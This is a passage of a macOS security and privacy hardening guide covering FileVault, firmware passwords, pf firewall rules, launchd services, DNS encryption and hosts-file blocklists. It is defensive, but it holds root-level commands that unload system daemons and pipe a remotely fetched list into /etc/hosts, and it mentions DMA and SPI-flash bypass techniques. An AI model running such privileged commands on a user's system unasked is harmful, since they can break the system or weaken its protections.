FileVault encryption protects data at rest and hardens (but [not always prevents](https://blog.frizk.net/2016/12/filevault-password-retrieval.html)) someone with physical access from stealing data or tampering with your Mac.
With much of the cryptographic operations happening [efficiently in hardware](https://web.archive.org/web/20180720195105/https://software.intel.com/sites/default/files/m/d/4/1/d/8/AES_WP_Rev_03_Final_2010_01_26.pdf), the performance penalty for FileVault is not noticeable.
Like all cryptosystems, the security of FileVault greatly depends on the quality of the pseudo random number generator (PRNG).
> The random device implements the Yarrow pseudo random number generator algorithm and maintains its entropy pool. Additional entropy is fed to the generator regularly by the SecurityServer daemon from random jitter measurements of the kernel.
See `man 4 random` for more information.
Turning on FileVault in System Preferences **after** installing macOS, rather than creating an encrypted partition for the installation first, is [more secure](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/230), because more PRNG entropy is available then.
Additionally, the PRNG can be manually seeded with entropy by writing to /dev/random **before** enabling FileVault. This can be done by simply using the Mac for a little while before activating FileVault.
It may also be possible to increase entropy with an external source, like [OneRNG](http://onerng.info/). See [Entropy and Random Number Generators](https://calomel.org/entropy_random_number_generators.html) and [Fun with encryption and randomness](https://rsmith.home.xs4all.nl/howto/fun-with-encryption-and-randomness.html) for more information.
Enable FileVault with `sudo fdesetup enable` or through **System Preferences** > **Security & Privacy** and reboot.
If you can remember the password, there's no reason to save the **recovery key**. However, all encrypted data will be lost forever if without either the password or recovery key.
To learn about how FileVault works, see the paper [Infiltrate the Vault: Security Analysis and Decryption of Lion Full Disk Encryption](https://eprint.iacr.org/2012/374.pdf) (pdf) and related [presentation](http://www.cl.cam.ac.uk/~osc22/docs/slides_fv2_ifip_2013.pdf) (pdf). Also see [IEEE Std 1619-2007: The XTS-AES Tweakable Block Cipher](http://libeccio.di.unisa.it/Crypto14/Lab/p1619.pdf) (pdf).
**Optional** Enforce system hibernation and evict FileVault keys from memory instead of traditional sleep to memory:
```console
$ sudo pmset -a destroyfvkeyonstandby 1
$ sudo pmset -a hibernatemode 25
```
> All computers have firmware of some type - EFI, BIOS - to help in the discovery of hardware components and ultimately to properly bootstrap the computer using the desired OS instance. In the case of Apple hardware and the use of EFI, Apple stores relevant information within EFI to aid in the functionality of macOS. For example, the FileVault key is stored in EFI to transparently come out of standby mode.
> Organizations especially sensitive to a high-attack environment, or potentially exposed to full device access when the device is in standby mode, should mitigate this risk by destroying the FileVault key in firmware. Doing so doesn't destroy the use of FileVault, but simply requires the user to enter the password in order for the system to come out of standby mode.
If you choose to evict FileVault keys in standby mode, you should also modify your standby and power nap settings. Otherwise, your machine may wake while in standby mode and then power off due to the absence of the FileVault key. See [issue #124](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/124) for more information. These settings can be changed with:
```console
$ sudo pmset -a powernap 0
$ sudo pmset -a standby 0
$ sudo pmset -a standbydelay 0
$ sudo pmset -a autopoweroff 0
```
For more information, see [Best Practices for
Deploying FileVault 2](https://training.apple.com/pdf/WP_FileVault2.pdf) (pdf) and paper [Lest We Remember: Cold Boot Attacks on Encryption Keys](https://www.usenix.org/legacy/event/sec08/tech/full_papers/halderman/halderman.pdf) (pdf)
**Note** APFS may make evicting FileVault keys redundant - see discussion and links in [issue #283](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/283).
## Firmware
Setting a firmware password prevents a Mac from starting up from any device other than the startup disk. It may also be set to be required on each boot. This may be useful for mitigating some attacks which require physical access to hardware. See [How to set a firmware password on your Mac](https://support.apple.com/en-au/HT204455) for official documentation.
This feature [can be helpful if your laptop is lost or stolen](https://www.ftc.gov/news-events/blogs/techftc/2015/08/virtues-strong-enduser-device-controls), protects against Direct Memory Access (DMA) attacks which can read your FileVault passwords and inject kernel modules such as [pcileech](https://github.com/ufrisk/pcileech), as the only way to reset the firmware password is through an Apple Store, or by using an [SPI programmer](https://reverse.put.as/2016/06/25/apple-efi-firmware-passwords-and-the-scbo-myth/), such as [Bus Pirate](http://ho.ax/posts/2012/06/unbricking-a-macbook/) or other flash IC programmer.
1. Start up pressing `Command` and `R` keys to boot to [Recovery Mode](https://support.apple.com/en-au/HT201314) mode.
1. When the Recovery window appears, choose **Firmware Password Utility** from the Utilities menu.
1. In the Firmware Utility window that appears, select **Turn On Firmware Password**.
1. Enter a new password, then enter the same password in the **Verify** field.
1. Select **Set Password**.
1. Select **Quit Firmware Utility** to close the Firmware Password Utility.
1. Select Restart or Shutdown from the Apple menu in the top-left corner.
The firmware password will activate at next boot. To validate the password, hold `Alt` during boot - you should be prompted to enter the password.
The firmware password can also be managed with the `firmwarepasswd` utility while booted into the OS. For example, to prompt for the firmware password when attempting to boot from a different volume:
```console
$ sudo firmwarepasswd -setpasswd -setmode command
```
To verify the firmware password:
```console
$ sudo firmwarepasswd -verify
Verifying Firmware Password
Enter password:
Correct
```
A firmware password may be bypassed by a determined attacker or Apple, with physical access to the computer.
<img width="750" alt="Using a Dediprog SF600 to dump and flash a 2013 MacBook SPI Flash chip to remove a firmware password, sans Apple" src="https://cloud.githubusercontent.com/assets/12475110/17075918/0f851c0c-50e7-11e6-904d-0b56cf0080c1.png">
*Using a [Dediprog SF600](http://www.dediprog.com/pd/spi-flash-solution/sf600) to dump and flash a 2013 MacBook SPI Flash chip to remove a firmware password, sans Apple*
As of macOS 10.15 Catalina, the `firmwarepasswd` program has a new option `-disable-reset-capability`. According to [Apple's new Platform Security page](https://support.apple.com/en-gb/guide/security/sec28382c9ca/web), this effectively prevents any firmware password resets, even by Apple themselves:
> For users who want no one but themselves to remove their Firmware Password by software means, the -disable-reset-capability option has been added to the firmwarepasswd command-line tool in macOS 10.15. Before setting this option, users must to acknowledge that if the password is forgotten and needs removal, the user must bear the cost of the motherboard replacement necessary to achieve this.
Newer Mac models (Mac Pro, iMac Pro, Macbook with TouchBar) with [Apple T2](https://en.wikipedia.org/wiki/Apple-designed_processors#Apple_T2) chips, which provide a secure enclave for encrypted keys, lessen the risk of EFI firmware attacks. See [this blog post](http://michaellynn.github.io/2018/07/27/booting-secure/) for more information.
See [LongSoft/UEFITool](https://github.com/LongSoft/UEFITool), [chipsec/chipsec](https://github.com/chipsec/chipsec) and discussion in [issue #213](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/213) for more information.
## Firewall
There are several types of firewalls available for macOS.
### Application layer firewall
Built-in, basic firewall which blocks **incoming** connections only. This firewall does not have the ability to monitor, nor block **outgoing** connections.
It can be controlled by the **Firewall** tab of **Security & Privacy** in **System Preferences**, or with the following commands.
Enable the firewall with logging and stealth mode:
```console
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on
Firewall is enabled. (State = 1)
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setloggingmode on
Turning on log mode
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on
Stealth mode enabled
```
> Computer hackers scan networks so they can attempt to identify computers to attack. You can prevent your computer from responding to some of these scans by using **stealth mode**. When stealth mode is enabled, your computer does not respond to ICMP ping requests, and does not answer to connection attempts from a closed TCP or UDP port. This makes it more difficult for attackers to find your computer.
To prevent *built-in software* as well as *code-signed, downloaded software from being whitelisted automatically*:
```console
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setallowsigned off
Disabled allow signed built-in applications automatically
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setallowsignedapp off
Disabled allow signed downloaded applications automatically
```
> Applications that are signed by a valid certificate authority are automatically added to the list of allowed apps, rather than prompting the user to authorize them. Apps included in macOS are signed by Apple and are allowed to receive incoming connections when this setting is enabled. For example, since iTunes is already signed by Apple, it is automatically allowed to receive incoming connections through the firewall.
> If you run an unsigned app that is not listed in the firewall list, a dialog appears with options to Allow or Deny connections for the app. If you choose "Allow", macOS signs the application and automatically adds it to the firewall list. If you choose "Deny", macOS adds it to the list but denies incoming connections intended for this app.
After interacting with `socketfilterfw`, restart the process by sending a line hangup signal:
```console
$ sudo pkill -HUP socketfilterfw
```
### Third party firewalls
Programs such as [Little Snitch](https://www.obdev.at/products/littlesnitch/index.html), [Hands Off](https://www.oneperiodic.com/products/handsoff/), [Radio Silence](https://radiosilenceapp.com/), [LuLu](https://objective-see.com/products/lulu.html) and [Security Growler](https://pirate.github.io/security-growler/) provide a good balance of usability and security.
These programs are capable of monitoring and blocking **incoming** and **outgoing** network connections. However, they may require the use of a closed source [kernel extension](https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/KernelProgramming/Extend/Extend.html).
If the number of choices of allowing/blocking network connections is overwhelming, use **Silent Mode** with connections allowed, then periodically check the configuration to gain understanding of applications and what they are doing.
It is worth noting that these firewalls can be bypassed by programs running as **root** or through [OS vulnerabilities](https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf) (pdf), but they are still worth having - just don't expect absolute protection. However, some malware actually [deletes itself](https://www.cnet.com/how-to/how-to-remove-the-flashback-malware-from-os-x/) and doesn't execute if Little Snitch, or other security software, is installed.
For more on how Little Snitch works, see the [Network Kernel Extensions Programming Guide](https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/socket_nke/socket_nke.html#//apple_ref/doc/uid/TP40001858-CH228-SW1) and [Shut up snitch! – reverse engineering and exploiting a critical Little Snitch vulnerability](https://reverse.put.as/2016/07/22/shut-up-snitch-reverse-engineering-and-exploiting-a-critical-little-snitch-vulnerability/).
### Kernel level packet filtering
A highly customizable, powerful, but also most complicated firewall exists in the kernel. It can be controlled with `pfctl` and various configuration files.
pf can also be controlled with a GUI application such as [IceFloor](http://www.hanynet.com/icefloor/) or [Murus](https://www.murusfirewall.com/).
There are many books and articles on the subject of pf firewall. Here's is just one example of blocking traffic by IP address.
Add the following into a file called `pf.rules`:
```
wifi = "en0"
ether = "en7"
set block-policy drop
set fingerprints "/etc/pf.os"
set ruleset-optimization basic
set skip on lo0
scrub in all no-df
table <blocklist> persist
block in log
block in log quick from no-route to any
block log on $wifi from { <blocklist> } to any
block log on $wifi from any to { <blocklist> }
antispoof quick for { $wifi $ether }
pass out proto tcp from { $wifi $ether } to any keep state
pass out proto udp from { $wifi $ether } to any keep state
pass out proto icmp from $wifi to any keep state
```
Then use the following commands to manipulate the firewall:
* `sudo pfctl -e -f pf.rules` to enable the firewall and load the configuration
* `sudo pfctl -d` to disable the firewall
* `sudo pfctl -t blocklist -T add 1.2.3.4` to add an IP address to the blocklist
* `sudo pfctl -t blocklist -T show` to view the blocklist
* `sudo ifconfig pflog0 create` to create an interface for logging
* `sudo tcpdump -ni pflog0` to view filtered packets
Unless you're already familiar with packet filtering, spending too much time configuring pf is not recommended. It is also probably unnecessary if your Mac is behind a [NAT](https://www.grc.com/nat/nat.htm) on a secure home network.
It is possible to use the pf firewall to block network access to entire ranges of network addresses, for example to a whole organization:
Query [Merit RADb](http://www.radb.net/) for the list of networks in use by an autonomous system, like [Facebook](https://ipinfo.io/AS32934):
```console
$ whois -h whois.radb.net '!gAS32934'
```
Copy and paste the list of networks returned into the blocklist command:
```console
$ sudo pfctl -t blocklist -T add 31.13.24.0/21 31.13.64.0/24 157.240.0.0/16
```
Confirm the addresses were added:
```console
$ sudo pfctl -t blocklist -T show
No ALTQ support in kernel
ALTQ related functions disabled
31.13.24.0/21
31.13.64.0/24
157.240.0.0/16
```
Confirm network traffic is blocked to those addresses (note that DNS requests will still work):
```console
$ dig a +short facebook.com
157.240.2.35
$ curl --connect-timeout 5 -I http://facebook.com/
* Trying 157.240.2.35...
* TCP_NODELAY set
* Connection timed out after 5002 milliseconds
* Closing connection 0
curl: (28) Connection timed out after 5002 milliseconds
$ sudo tcpdump -tqni pflog0 'host 157.240.2.35'
IP 192.168.1.1.62771 > 157.240.2.35.80: tcp 0
IP 192.168.1.1.62771 > 157.240.2.35.80: tcp 0
IP 192.168.1.1.62771 > 157.240.2.35.80: tcp 0
IP 192.168.1.1.62771 > 157.240.2.35.80: tcp 0
IP 192.168.1.1.162771 > 157.240.2.35.80: tcp 0
```
Outgoing TCP SYN packets are blocked, so a TCP connection is not established and thus a Web site is effectively blocked at the IP layer.
To use pf to audit "phone home" behavior of user and system-level processes, see [fix-macosx/net-monitor](https://github.com/fix-macosx/net-monitor). See [drduh/config/scripts/pf-blocklist.sh](https://github.com/drduh/config/blob/master/scripts/pf-blocklist.sh) for more inspiration.
## Services
**Note** [System Integrity Protection](https://github.com/drduh/macOS-Security-and-Privacy-Guide#system-integrity-protection) does not allow disabling system services on recent macOS versions. Either temporarily disable SIP or disable services from Recovery Mode. See [Issue 334](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/334) for more information.
See [fix-macosx/yosemite-phone-home](https://github.com/fix-macosx/yosemite-phone-home), [l1k/osxparanoia](https://github.com/l1k/osxparanoia) and [karek314/macOS-home-call-drop](https://github.com/karek314/macOS-home-call-drop) for further recommendations.
Services on macOS are managed by **launchd**. See [launchd.info](http://launchd.info/), as well as [Apple's Daemons and Services Programming Guide](https://developer.apple.com/library/mac/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html) and [Technical Note TN2083](https://developer.apple.com/library/mac/technotes/tn2083/_index.html)
You can also run [KnockKnock](https://objective-see.com/products/knockknock.html) that shows more information about startup items.
* Use `launchctl list` to view running user agents
* Use `sudo launchctl list` to view running system daemons
* Specify the service name to examine it, e.g. `launchctl list com.apple.Maps.mapspushd`
* Use `defaults read` to examine job plists in `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`
* Use `man` and `strings` to find out more about what an agent/daemon does
For example, to learn what a system launch daemon or agent does, start with:
```console
$ defaults read /System/Library/LaunchDaemons/com.apple.apsd.plist
```
Look at the `Program` or `ProgramArguments` section to see which binary is run, in this case `apsd`. To find more information about that, look at the man page with `man apsd`
For example, if you're not interested in Apple Push Notifications, disable the service:
```console
$ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.apsd.plist
```
**Note** Unloading services may break usability of some applications. Read the manual pages and use Google to make sure you understand what you're doing first.
Be careful about disabling any system daemons you don't understand, as it may render your system unbootable. If you break your Mac, use [single user mode](https://support.apple.com/guide/mac-help/start-up-your-mac-in-single-user-mode-mchlp1720/mac) to fix it.
Use [Console](https://en.wikipedia.org/wiki/List_of_macOS_components#Console) and [Activity Monitor](https://support.apple.com/en-us/HT201464) applications if you notice your Mac heating up, feeling sluggish, or generally misbehaving, as it may have resulted from your tinkering.
To view the status of services:
```console
$ find /var/db/com.apple.xpc.launchd/ -type f -print -exec defaults read {} \; 2>/dev/null
```
Annotated lists of launch daemons and agents, the respective program executed, and the programs' hash sums are included in this repository.
**(Optional)** Run the `read_launch_plists.py` script and `diff` output to check for any discrepancies on your system, e.g.:
```console
$ diff <(python read_launch_plists.py | sort ) <(cat 16A323_launchd.csv | sort )
```
See also [cirrusj.github.io/Yosemite-Stop-Launch](https://cirrusj.github.io/Yosemite-Stop-Launch/) for descriptions of services and [Provisioning OS X and Disabling Unnecessary Services](https://vilimpoc.org/blog/2014/01/15/provisioning-os-x-and-disabling-unnecessary-services/) for another explanation.
Persistent login items may also exist in these directories:
* `/Library/LaunchAgents`
* `/Library/LaunchDaemons`
* `/Library/ScriptingAdditions`
* `/Library/StartupItems`
* `/System/Library/LaunchAgents`
* `/System/Library/LaunchDaemons`
* `/System/Library/ScriptingAdditions`
* `/System/Library/StartupItems`
* `~/Library/LaunchAgents`
* `~/Library/Preferences/com.apple.loginitems.plist`
See [Mac OSX Startup](https://web.archive.org/web/20200415041603/http://www.malicious-streams.com/article/Mac_OSX_Startup.pdf) (pdf) for more information.
## Spotlight Suggestions
Disable **Spotlight Suggestions** in both the Spotlight preferences and Safari's Search preferences to avoid your search queries being sent to Apple.
Also disable **Bing Web Searches** in the Spotlight preferences to avoid your search queries being sent to Microsoft.
See [fix-macosx.com](https://web.archive.org/web/20180817061520/https://fix-macosx.com/) for detailed instructions.
> If you've upgraded to OS X 10.10 "Yosemite" and you're using the default settings, each time you start typing in Spotlight (to open an application or search for a file on your computer), your local search terms and location are sent to Apple and third parties (including Microsoft).
**Note** This Web site and instructions may no longer work on macOS Sierra - see [issue 164](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/164).
For comparison to Windows 10, see <https://fix10.isleaked.com/>
## Homebrew
Consider using [Homebrew](https://brew.sh/) to make software installations easier and to update userland tools (see [Apple's great GPL purge](http://meta.ath0.com/2012/02/05/apples-great-gpl-purge/)).
**Note** If you have not already installed Xcode or Command Line Tools, use `xcode-select --install` to download and install them, or check Apple's developer site.
[Install Homebrew](https://github.com/Homebrew/brew/blob/master/docs/Installation.md#installation):
```console
$ mkdir homebrew && curl -L https://github.com/Homebrew/brew/tarball/master | tar xz --strip 1 -C homebrew
```
Edit `PATH` in your shell or shell rc file to use `~/homebrew/bin` and `~/homebrew/sbin`. For example, `echo 'PATH=$PATH:~/homebrew/sbin:~/homebrew/bin' >> .zshrc`, then change your login shell to Z shell with `chsh -s /bin/zsh`, open a new Terminal window and run `brew update`.
Homebrew uses SSL/TLS to talk with GitHub and verifies integrity of downloaded packages, so it's [fairly secure](https://brew.sh/2022/05/17/homebrew-security-audit/).
Remember to periodically run `brew upgrade` on trusted and secure networks to download and install software updates. To get information on a package before installation, run `brew info <package>` and check its formula online.
According to [Homebrew's Anonymous Analytics](https://docs.brew.sh/Analytics), Homebrew gathers anonymous analytics and reports these to a self-hosted InfluxDB instance.
To opt out of Homebrew's analytics, you can set `export HOMEBREW_NO_ANALYTICS=1` in your environment or shell rc file, or use `brew analytics off`.
You may also wish to enable [additional security options](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/138), such as `HOMEBREW_NO_INSECURE_REDIRECT=1` and `HOMEBREW_CASK_OPTS=--require-sha`.
## DNS
#### Hosts file
Use the [hosts file](https://en.wikipedia.org/wiki/Hosts_(file)) to block known malware, advertising or otherwise unwanted domains.
Edit the hosts file as root, for example with `sudo vi /etc/hosts`. The hosts file can also be managed with the GUI app [2ndalpha/gasmask](https://github.com/2ndalpha/gasmask).
To block a domain by `A` record, append any one of the following lines to `/etc/hosts`:
```
0 example.com
0.0.0.0 example.com
127.0.0.1 example.com
```
**Note** IPv6 uses the `AAAA` DNS record type, rather than `A` record type, so you may also want to block those connections by *also* including `::1 example.com` entries, like shown [here](https://someonewhocares.org/hosts/ipv6/).
There are many lists of domains available online which you can paste in, just make sure each line starts with `0`, `0.0.0.0`, `127.0.0.1`, and the line `127.0.0.1 localhost` is included.
Here are some popular and useful hosts lists:
* [jmdugan/blocklists](https://github.com/jmdugan/blocklists)
* [l1k/osxparanoia](https://github.com/l1k/osxparanoia/blob/master/hosts)
* [Sinfonietta/hostfiles](https://github.com/Sinfonietta/hostfiles)
* [StevenBlack/hosts](https://github.com/StevenBlack/hosts)
* [someonewhocares.org](https://someonewhocares.org/hosts/zero/hosts)
Append a list of hosts with the `tee` command and confirm only non-routable addresses or comments were added:
```console
$ curl https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts | sudo tee -a /etc/hosts
$ wc -l /etc/hosts
65580
$ egrep -ve "^#|^255.255.255.255|^127.|^0.|^::1|^ff..::|^fe80::" /etc/hosts | sort | uniq | egrep -e "[1,2]|::"
[No output]
```
See `man hosts` and [FreeBSD Configuration Files](https://www.freebsd.org/doc/handbook/configtuning-configfiles.html) for more information.
See the [dnsmasq](#dnsmasq) section of this guide for more hosts blocking options.
#### dnscrypt
To encrypt outgoing DNS traffic, consider using [jedisct1/dnscrypt-proxy](https://github.com/jedisct1/dnscrypt-proxy). In combination with dnsmasq and DNSSEC, the integrity and authenticity of DNS traffic is greatly improved.
[JayBrown/DNSCrypt-Menu](https://github.com/JayBrown/DNSCrypt-Menu) and [jedisct1/bitbar-dnscrypt-proxy-switcher](https://github.com/jedisct1/bitbar-dnscrypt-proxy-switcher) provide a graphical user interface to dnscrypt.
Install dnscrypt from Homebrew and follow the instructions to configure and start `dnscrypt-proxy`:
```console
$ brew install dnscrypt-proxy
```
If using in combination with Dnsmasq, find the file `homebrew.mxcl.dnscrypt-proxy.plist` by running
```console
$ brew info dnscrypt-proxy
```
which will show a location like `/usr/local/etc/dnscrypt-proxy.toml`
Open it in a text editor, find the line starting with `listen_addresses =` and edit that line to use DNScrypt on a port other than 53, like 5355:
```
listen_addresses = ['127.0.0.1:5355', '[::1]:5355']
```
Start DNSCrypt:
```console
$ sudo brew services restart dnscrypt-proxy
```
Make sure DNSCrypt is running:
```console
$ sudo lsof +c 15 -Pni UDP:5355
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
dnscrypt-proxy 15244 nobody 7u IPv4 0x1337f85ff9f8beef 0t0 UDP 127.0.0.1:5355
dnscrypt-proxy 15244 nobody 10u IPv6 0x1337f85ff9f8beef 0t0 UDP [::1]:5355
dnscrypt-proxy 15244 nobody 12u IPv4 0x1337f85ff9f8beef 0t0 UDP 127.0.0.1:5355
dnscrypt-proxy 15244 nobody 14u IPv6 0x1337f85ff9f8beef 0t0 UDP [::1]:5355
```
> By default, dnscrypt-proxy runs on localhost (127.0.0.1), port 53,
and under the "nobody" user using the resolvers specified in https://raw.githubusercontent.com/DNSCrypt/dnscrypt-resolvers/master/v2/public-resolvers.md. If you would like to change these settings, you will have to edit the configuration file (e.g. listen_addresses, user_name, urls, etc.)
This can be accomplished by editing `/usr/local/etc/dnscrypt-proxy.toml` as described above.
You can run your own [dnscrypt server](https://github.com/Cofyc/dnscrypt-wrapper) (see also [drduh/Debian-Privacy-Server-Guide#dnscrypt](https://github.com/drduh/Debian-Privacy-Server-Guide#dnscrypt)) from a trusted location or use one of many [public servers](https://github.com/jedisct1/dnscrypt-proxy/blob/master/dnscrypt-resolvers.csv) instead.
Confirm outgoing DNS traffic is encrypted:
```console
$ sudo tcpdump -qtni en0
IP 10.8.8.8.59636 > 107.181.168.52: UDP, length 512
IP 107.181.168.52 > 10.8.8.8.59636: UDP, length 368
$ dig +short -x 128.180.155.106.49321
d0wn-us-ns4
```
dnscrypt-proxy also has the capability to blacklist domains, including the use of wild-cards. See the [Sample configuration file for dnscrypt-proxy](https://raw.githubusercontent.com/jedisct1/dnscrypt-proxy/master/dnscrypt-proxy.conf) for the options.
**Note** Applications and programs may resolve DNS using their own provided servers. If dnscrypt-proxy is used, it is possible to disable all other, non-dnscrypt DNS traffic with the following pf rules:
```shell
block drop quick on !lo0 proto udp from any to any port = 53
block drop quick on !lo0 proto tcp from any to any port = 53
```
See also [What is a DNS leak](https://dnsleaktest.com/what-is-a-dns-leak.html), the [mDNSResponder manual page](https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man8/mDNSResponder.8.html) and [ipv6-test.com](http://ipv6-test.com/).
#### Dnsmasq
Among other features, [dnsmasq](http://www.thekelleys.org.uk/dnsmasq/doc.html) is able to cache replies, prevent upstream queries for unqualified names, and block entire top-level domain names.
Use in combination with DNSCrypt to additionally encrypt outgoing DNS traffic.
If you don't wish to use DNSCrypt, you should at least use DNS [not provided](http://bcn.boulder.co.us/~neal/ietf/verisign-abuse.html) [by your ISP](http://hackercodex.com/guide/how-to-stop-isp-dns-server-hijacking/). Two popular alternatives are [Google DNS](https://developers.google.com/speed/public-dns/) and [OpenDNS](https://www.opendns.com/home-internet-security/).
**(Optional)** [DNSSEC](https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions) is a set of extensions to DNS which provide to DNS clients (resolvers) origin authentication of DNS data, authenticated denial of existence, and data integrity. All answers from DNSSEC protected zones are digitally signed. The signed records are authenticated via a chain of trust, starting with a set of verified public keys for the DNS root-zone. The current root-zone trust anchors may be downloaded [from IANA website](https://www.iana.org/dnssec/files). There are a number of resources on DNSSEC, but probably the best one is [dnssec.net website](http://www.dnssec.net).
Install Dnsmasq (DNSSEC is optional):
```console
$ brew install dnsmasq --with-dnssec
```
Download [drduh/config/dnsmasq.conf](https://github.com/drduh/config/blob/master/dnsmasq.conf):
```
$ curl -o homebrew/etc/dnsmasq.conf https://raw.githubusercontent.com/drduh/config/master/dnsmasq.conf
```
Edit the file and examine all the options. To block entire levels of domains, append [drduh/config/domains](https://github.com/drduh/config/tree/master/domains) or your own rules.
Install and start the program (sudo is required to bind to [privileged port](https://unix.stackexchange.com/questions/16564/why-are-the-first-1024-ports-restricted-to-the-root-user-only) 53):
```console
$ sudo brew services start dnsmasq
```
To set Dnsmasq as your local DNS server, open **System Preferences** > **Network** and select the active interface, then the **DNS** tab, select **+** and add `127.0.0.1`, or use:
```console
$ sudo networksetup -setdnsservers "Wi-Fi" 127.0.0.1
```
Make sure Dnsmasq is correctly configured:
```console
$ scutil --dns | head
DNS configuration
resolver #1
search domain[0] : whatever
nameserver[0] : 127.0.0.1
flags : Request A records, Request AAAA records
reach : 0x00030002 (Reachable,Local Address,Directly Reachable Address)
$ networksetup -getdnsservers "Wi-Fi"
127.0.0.1
```
**Note** Some VPN software overrides DNS settings on connect. See [issue #24](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/24) and [drduh/config/scripts/macos-dns.sh](https://github.com/drduh/config/blob/master/scripts/macos-dns.sh).
##### Test DNSSEC validation
Test DNSSEC validation succeeds for signed zones - the reply should have `NOERROR` status and contain `ad` flag:
```console
$ dig +dnssec icann.org
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47039
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
```
Test DNSSEC validation fails for zones that are signed improperly - the reply should have `SERVFAIL` status:
```console
$ dig www.dnssec-failed.org
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 15190
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
```
## Captive portal
When macOS connects to new networks, it checks for Internet connectivity and may launch a Captive Portal assistant utility application.
An attacker could trigger the utility and direct a Mac to a site with malware without user interaction, so it's best to disable this feature and log in to captive portals using your regular Web browser by navigating to a non-secure HTTP page and accepting a redirect to the captive portal login interface (after disabling any custom proxy or DNS settings).
```console
$ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.captive.control.plist Active -bool false
```
Also see [Apple's secret "wispr" request](https://web.archive.org/web/20171008071031/http://blog.erratasec.com/2010/09/apples-secret-wispr-request.html), [How to disable the captive portal window in Mac OS Lion](https://web.archive.org/web/20130407200745/http://www.divertednetworks.net/apple-captiveportal.html) and [An undocumented change to Captive Network Assistant settings in OS X 10.10 Yosemite](https://web.archive.org/web/20170622064304/https://grpugh.wordpress.com/2014/10/29/an-undocumented-change-to-captive-network-assistant-settings-in-os-x-10-10-yosemite/).
## Certificate authorities
macOS comes with [over 200](https://support.apple.com/en-us/HT202858) root authority certificates installed from for-profit corporations like Apple, Verisign, Thawte, Digicert and government agencies from China, Japan, Netherlands, U.S., and more! These Certificate Authorities (CAs) are capable of issuing SSL/TLS certificates for any domain, code signing certificates, etc.
For more information, see [Certification Authority Trust Tracker](https://github.com/kirei/catt), [Analysis of the HTTPS certificate ecosystem](https://conferences.sigcomm.org/imc/2013/papers/imc257-durumericAemb.pdf) (pdf), and [You Won’t Be Needing These Any More: On Removing Unused Certificates From Trust Stores](https://www.ifca.ai/fc14/papers/fc14_submission_100.pdf) (pdf).
Inspect system root certificates in **Keychain Access**, under the **System Roots** tab or by using the `security` command line tool and `/System/Library/Keychains/SystemRootCertificates.keychain` file.
Disable certificate authorities through Keychain Access by marking them as **Never Trust** and closing the window:
<img width="450" alt="A certificate authority certificate" src="https://cloud.githubusercontent.com/assets/12475110/19222972/6b7aabac-8e32-11e6-8efe-5d3219575a98.png">
The risk of a [man in the middle](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) attack in which a coerced or compromised certificate authority trusted by your system issues a fake/rogue SSL certificate is quite low, but still [possible](https://en.wikipedia.org/wiki/DigiNotar#Issuance_of_fraudulent_certificates).
## OpenSSL
**Note** This section [may be out of date](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/356).
The version of OpenSSL in Sierra is `0.9.8zh` which is [not current](https://apple.stackexchange.com/questions/200582/why-is-apple-using-an-older-version-of-openssl). It doesn't support TLS 1.1 or newer, elliptic curve ciphers, and [more](https://stackoverflow.com/questions/27502215/difference-between-openssl-09-8z-and-1-0-1).
Since Apple's official supported TLS library on macOS is [Secure Transport](https://developer.apple.com/documentation/security/secure_transport), OpenSSL **deprecated** is considered deprecated (according to the [Cryptographic Services Guide](https://developer.apple.com/library/mac/documentation/Security/Conceptual/cryptoservices/GeneralPurposeCrypto/GeneralPurposeCrypto.html). Apple's version of OpenSSL may also have patches which may [surprise you](https://hynek.me/articles/apple-openssl-verification-surprises/).
If you're going to use OpenSSL on your Mac, download and install a recent version of OpenSSL with `brew install openssl`. Note, linking brew to be used in favor of `/usr/bin/openssl` may interfere with built-in software. See [issue #39](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/39).
Compare the TLS protocol and cipher between the homebrew version and the system version of OpenSSL:
```console
$ ~/homebrew/bin/openssl version; echo | ~/homebrew/bin/openssl s_client -connect github.com:443 2>&1 | grep -A2 SSL-Session
OpenSSL 1.0.2j 26 Sep 2016
SSL-Session:
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES128-GCM-SHA256
$ /usr/bin/openssl version; echo | /usr/bin/openssl s_client -connect github.com:443 2>&1 | grep -A2 SSL-Session
OpenSSL 0.9.8zh 14 Jan 2016
SSL-Session:
Protocol : TLSv1
Cipher : AES128-SHA
```
See also [Comparison of TLS implementations](https://en.wikipedia.org/wiki/Comparison_of_TLS_implementations), [How's My SSL](https://www.howsmyssl.com/) and [Qualys SSL Labs Tools](https://www.ssllabs.com/projects/).
## Curl
The version of Curl which comes with macOS uses [Secure Transport](https://developer.apple.com/library/mac/documentation/Security/Reference/secureTransportRef/) for SSL/TLS validation.
